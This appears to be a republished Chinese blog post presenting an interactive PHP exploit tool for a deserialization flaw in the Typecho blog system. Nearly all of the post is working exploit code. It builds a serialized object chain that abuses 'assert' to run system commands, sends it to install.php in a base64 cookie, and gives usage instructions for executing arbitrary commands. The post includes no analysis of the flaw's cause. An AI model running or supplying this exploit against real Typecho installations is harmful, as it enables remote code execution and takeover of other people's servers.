一种基于PHP的交互式Typecho反序列化漏洞利用工具

来源:互联网 发布:网络销售的工作怎么样 编辑:程序博客网 时间:2024/06/05 08:39

Typecho博客系统被爆出反序列化漏洞,该漏洞可导致任意代码执行,本文没有分析此漏洞的详细原因,仅给出一种基于PHP的交互式漏洞利用工具,以作交流分享之用。此漏洞在“typecho-1.1-15.5.12-beta”版本中验证成功。

<?phpclass Typecho_Request {private $_params = array();private $_filter = array('assert');public function __construct() {global $cmd;$this->_params['screenName'] = $cmd;}}class Typecho_Feed {const RSS1 = '';const RSS2 = 'RSS 2.0';const DATE_RFC822 = 'r';const DATE_W3CDTF = 'c';const EOF = '';private $_type = 'RSS 2.0';private $_charset = '';private $_items = array();public function __construct() {$this->_items[0] = array('author'=>new Typecho_Request());}}if(!isset($argv[1])) {exit('Please input a command!');}/* 执行系统命令 */$cmd = "eval('ob_clean();system(\'{$argv[1]}\');exit();')";$config = array('adapter'=>new Typecho_Feed(), 'prefix'=>'');$str = serialize($config);$str_base64 = base64_encode($str);/* 目标网站 */$host = 'http://127.0.0.1/typecho/';$url = '/install.php?finish=1';$ch = curl_init($host . $url);curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0');curl_setopt($ch, CURLOPT_REFERER, $host . '/index.html');curl_setopt($ch, CURLOPT_COOKIE, "__typecho_config={$str_base64}");curl_exec($ch);curl_close($ch);exit();?>

工具使用方法:

php my_typecho_poc.php dir /* my_typecho_poc.php是利用工具的文件名; dir是想要执行的系统命令 */

搜狗截图17年11月26日2216_2.jpg


写在最后的话:欢迎各位网络安全爱好者与我交流,欢迎留言分享你们的经验!

原创粉丝点击